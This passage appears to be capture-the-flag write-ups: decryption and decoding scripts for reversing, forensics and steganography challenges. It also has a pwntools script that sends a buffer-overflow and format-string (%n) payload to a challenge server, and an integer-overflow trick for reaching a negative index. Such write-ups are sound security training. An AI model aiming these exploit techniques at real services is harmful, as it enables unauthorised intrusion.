command which prints with printf the address of the index variable for the index of a function table it uses. After toying around, we can see that we have a normal buffer overflow which allows us to overwrite these printf strings, so we can craft a printf string that overwrites the index to one that points to the wassflag
function in the binary that prints the flag for us.
from pwn import *
p = remote("52.59.124.14", 5005)
p.sendlineafter(b"alone?", b"BBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAA%n")
p.sendlineafter(b"AAAAAAAAAA", b"debug")
p.interactive()
def decrypt(enc):
flag = ""
for i in range(34):
v = ((enc[i] << 5) | (enc[i] >> 3)) & 0xFF
v = (v - i) & 0xFF
flag += chr(v ^ 0x5A)
return flag
enc = [0xF8, 0xA8, 0xB8, 0x21, 0x60, 0x73, 0x90, 0x83, 0x80, 0xC3,
0x9B, 0x80, 0xAB, 0x09, 0x59, 0xD3, 0x21, 0xD3, 0xDB, 0xD8,
0xFB, 0x49, 0x99, 0xE0, 0x79, 0x3C, 0x4C, 0x49, 0x2C, 0x29,
0xCC, 0xD4, 0xDC, 0x42]
print(decrypt(enc))
Xor with 2a which is found by bruteforce.
45TY5CR41ND33D_34R3_3D_TM83LGG5_ENO{!!!}
then unscrambled in chunks of 4
ENO{5CR4M83L3D_3GG5_4R3_1ND33D_T45TY!!!}
We can open up the binary in ida and find a function which seems to get some registry key values. After that's done, it passes that info on to a suspicious looking function which seems to be running some sort of decryption. Porting that decryption function over to python and running it on the encrypted file gives us a jpg of the flag
FILENAME = "data.bin"
with open(FILENAME, "rb") as f:
data = f.read()
def r8(offset):
return data[offset]
def r16(offset):
return int.from_bytes(data[offset:offset+2], 'little')
c = 0
cur_offset = 4
decrypted = bytearray()
while cur_offset < len(data):
if c == 0:
val = r16(cur_offset)
cur_offset += 2
c = 16
if (val & 1) != 0:
v8 = (r8(cur_offset) & 0xf0) << 4
v7 = (r8(cur_offset) & 0xf) + 1
v9 = v8 + r8(cur_offset + 1)
cur_offset += 2
assert len(decrypted) > v9, f"{len(decrypted) = } {v9 = :#x} {decrypted = }"
pos = len(decrypted) - v9
for i in range(v7):
decrypted.append(decrypted[pos + i])
else:
decrypted.append(r8(cur_offset))
cur_offset += 1
val >>= 1
c -= 1
with open("dec.bin", "wb") as f:
f.write(bytes(decrypted))
data[0]
represents time, data[1]
represents the clock, and data[2]
represents the observed signals. For each clock cycle, if the majority of data[2]
values are greater than 1, observe it as 1; otherwise, observe it as 0. Split the result into 9-bit segments and interpret them as ASCII to obtain the flag.
import pickle
import matplotlib.pyplot as plt
def bitstring_to_bytes(s):
return int(s, 2).to_bytes((len(s) + 7) // 8, byteorder='big')
data = pickle.load(open("trace.pckl", "rb"))
FROM = 68000
TO = 240000
SAMPLES = 20
while data[1][FROM] > 1:
FROM +=1
while data[1][TO] > 1:
TO -=1
idx = FROM + SAMPLES
prev = idx
result = ""
while idx < TO:
while sum(data[1][idx-SAMPLES:idx]) > SAMPLES:
idx += 1
t1 = idx
while sum(data[1][idx-SAMPLES:idx]) < SAMPLES:
idx += 1
t2 = idx
next = (t1+t2)//2
if sum(data[2][prev:next])//(next-prev) > 1:
result += "1"
else:
result += "0"
prev = next
data1 = data[1][FROM:TO]
data2 = data[2][FROM:TO]
x_values = data[0][FROM:TO]
result = result[1:]
print(result)
b = b""
for i in range(0,len(result), 9):
b += int(result[i:i+8],2).to_bytes()
print(b)
# open("x", "wb").write(b)
# plt.plot(x_values, data1, linestyle='-', color='b')
# plt.plot(x_values, data2, linestyle='-', color='r')
# plt.xlabel('Index')
# plt.ylabel('Value')
# plt.grid(True)
# plt.show()
Its a IBM punchcard. The decode information can be found here
"""
Most code from this repo
# https://github.com/MusIF-MIAI/punchcard-decoder/blob/main/card.py
"""
def master_card_to_map(master_card_string):
# Turn the ASCII art sideways and build a hash lookup
rows = master_card_string[1:].split('\n')
rotated = [[r[i] for r in rows[0:13]] for i in range(5, len(rows[0]) - 1)]
translate = {}
for v in rotated:
translate[tuple(v[1:])] = v[0]
return translate
# IBM punch card character map
IBM_MODEL_029_KEYPUNCH = """
/&-0123456789ABCDEFGHIJKLMNOPQR/STUVWXYZ:#@'="`.<(+|!$*);^~,%_>? |
12 / O OOOOOOOOO OOOOOO |
11| O OOOOOOOOO OOOOOO |
0| O OOOOOOOOO OOOOOO |
1| O O O O |
2| O O O O O O O O |
3| O O O O O O O O |
4| O O O O O O O O |
5| O O O O O O O O |
6| O O O O O O O O |
7| O O O O O O O O |
8| O O O O OOOOOOOOOOOOOOOOOOOOOOOO |
9| O O O O |
|__________________________________________________________________|"""
# Create translation map
translate = master_card_to_map(IBM_MODEL_029_KEYPUNCH)
def decode_punch_card(data_rows):
# Convert string data to list of columns
columns = []
width = len(data_rows[0])
# Create columns from rows
for i in range(width):
column = []
for row in data_rows:
column.append(row[i] == '1')
columns.append(column)
# Decode each column to a character
result = ''
for column in columns:
code_key = []
for bit in column:
code_key.append('O' if bit else ' ')
code_key = tuple(code_key)
result += translate.get(code_key, '•')
return result
# manual work
punch_card_data = [
"00000010001010100110000000100010101010000000000000100000000000000000000000000000",
"00000001110000011000110100000100000000101011011011010000000000000000000000000000",
"00000000000100000101000001010001000101010001000000001000000000000000000000000000",
"10000000001000000000000010000000000000000000000000000010000000000000000000000000",
"00000000000000000000000000000000000000000000000000000000000000000000000000000000",
"01100000000100000000111001001010010000010000000000001001100000000000000000000000",
"00000000010000000000000000000000101000000100000000000000000000000000000000000000",
"00000000000011110000000000010100000100000010110000010000000000000000000000000000",
"00000011000000001000000000000000000010000000001000000000000000000000000000000000",
"00010000000000000000000000000000000000000000000010000000010000000000000000000000",
"00000000000011000010000000110000000100000000111000000000000000000000000000000000",
"00000000100000000000000100000000000000101000000001100000000000000000000000000000"
]
decoded_text = decode_punch_card(punch_card_data)
print("Decoded text:", decoded_text)
From exiftool we can find the artist name gives us a clue and how the flag is hidden.
Artist : 2+(10*n) for all n>=10
import cv2
import os
def extract_frames(video_path):
cap = cv2.VideoCapture(video_path)
if not cap.isOpened():
print("[!] Error: Could not open video file")
return
frame_count = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))
print(f"[*] Total frames in video: {frame_count}")
saved_count = 0
frame_number = 0
while True:
ret, frame = cap.read()
if not ret:
break
# Check if this frame should be saved based on the formula: 2+(10*n) for n>=10
# Which means frames that are 2 more than multiples of 10, starting from frame 102
if frame_number >= 102 and (frame_number - 2) % 10 == 0:
output_filename = f'output_{saved_count+1:04d}.png'
cv2.imwrite(output_filename, frame)
print(f"[+] Saved frame {frame_number} as {output_filename}")
saved_count += 1
frame_number += 1
cap.release()
print(f"\n[*] Extraction complete. Saved {saved_count} frames.")
video_path = 'driving.mp4'
if not os.path.exists(video_path):
print(f"[!] Error: Video file '{video_path}' not found")
else:
extract_frames(video_path)
Now checking the corners of each frame clockwise gives us the flag.
This is involving getting negative index of the list by exploiting squaring a positive number in np.int32
to give a negative number.
We could simply brute force it
from gmpy2 import iroot
for i in range(0, 200000000):
offset = i * 0x100000000 + 0xffffffff + 1
for j in range(1, 25):
if iroot(offset - j, 2)[1]:
print('i', i, j)
# 280614
raise
then send a single value iroot(280614 * 0x100000000 + 0xffffffff + 1 - 0, 2)[0]
.
zsteg l5b245c11.png
imagedata .. text: "286-0.\t\n\t"
b1,r,lsb,xy .. text: "rzsZA>FCNR^_]\""
b1,r,msb,xy .. file: OpenPGP Public Key
b1,g,msb,xy .. file: OpenPGP Secret Key
b1,rgb,lsb,xy .. text: "ENO{57394n09r4phy_15_w4y_c00l3r_7h4n_p0rn06r4phy} ENO{57394n09r4phy_15_w4y_c00l3r_7h4n_p0rn06r4phy} ENO{57394n09r4phy_15_w4y_c00l3r_7h4n_p0rn06r4phy} ENO{57394n09r4phy_15_w4y_c00l3r_7h4n_p0rn06r4phy} ENO{57394n09r4phy_15_w4y_c00l3r_7h4n_p0rn06r4phy} ENO{57"
b2,r,msb,xy .. file: OpenPGP Secret Key
b2,bgr,msb,xy .. file: OpenPGP Public Key
b3,r,msb,xy .. file: RLE image data, 16888 x 4242, lower left corner: 8321, lower right corner: 65025, clear first, 16 color channels, 224 bits per pixel, 183 color map channels
b4,r,lsb,xy .. text: "wYtE$ER\#$DUEFuREEf2E%5"
b4,g,lsb,xy .. text: "#\"5DQ232UT2"
Notice PNG headers. Extract the QR .
QR has the flag. ENO{USB_ETHERNET_ADAPTER_ARE_COOL_N!C3}
Replace FF 07
with FF 00
and open the jpg file.
b = open("imp0rt4nt_3tudy_n0t3s.jpg", "rb").read()
b = b.replace(b"\xff\x07",b"\xff\x00")
open("test.jpg", "wb").write(b)
We figured out pretty quick that this was just Flag Semaphore encoding. After parsing out all the frames with ffmpeg and decoding, we get the following output:
QBAAAEFAAAAGOADBEEAAAEAAGDENPAKADABAEAKAAAAABOBIOHKLHGPOAHPKGAPKNNBMEIABIAAPLJDIOAAAAABABAIAKLPENIEAIONHODKKAEHEFFECACPGGGMGBGHCOHEHIHECAEIFEFEFACPDBCODAANAKEMGJGOGLCNEMGBHJGFHCDKCAFCEGEDCNDEDIDCDECNHDGFGNGBHAGIGPHCGFANAKANAKAAAAR
This looks pretty random, but chars S-Z aren't used and Q only appears in the beginning and R at the end, so we assumed those were just markers. That left us with 16 unique characters in the message, so we assumed it was hex encoding and we were able to decode it with the following script:
f = "QBAAAEFAAAAGOADBEEAAAEAAGDENPAKADABAEAKAAAAABOBIOHKLHGPOAHPKGAPKNNBMEIABIAAPLJDIOAAAAABABAIAKLPENIEAIONHODKKAEHEFFECACPGGGMGBGHCOHEHIHECAEIFEFEFACPDBCODAANAKEMGJGOGLCNEMGBHJGFHCDKCAFCEGEDCNDEDIDCDECNHDGFGNGBHAGIGPHCGFANAKANAKAAAAR"
f = f[1:-1].translate(str.maketrans("ABCDEFGHIJKLMNOP", "0123456789ABCDEF"))
print(bytes.fromhex(f))
which gave us this output
b'\x10\x00E\x00\x00n\x03\x14@\x00@\x064\xdf\n\x03\x01\x04\n\x00\x00\x01\xe1\x8ez\xb7o\xe0\x7f\xa6\x0f\xad\xd1\xc4\x80\x18\x00\xfb\x93\x8e\x00\x00\x01\x01\x08\n\xbfM\x84\x08\xed~:\xa0GET /flag.txt HTTP/1.0\r\nLink-Layer: RFC-4824-semaphore\r\n\r\n\x00\x00'
So we send over that same request back to the website we got the gif from and got the flag.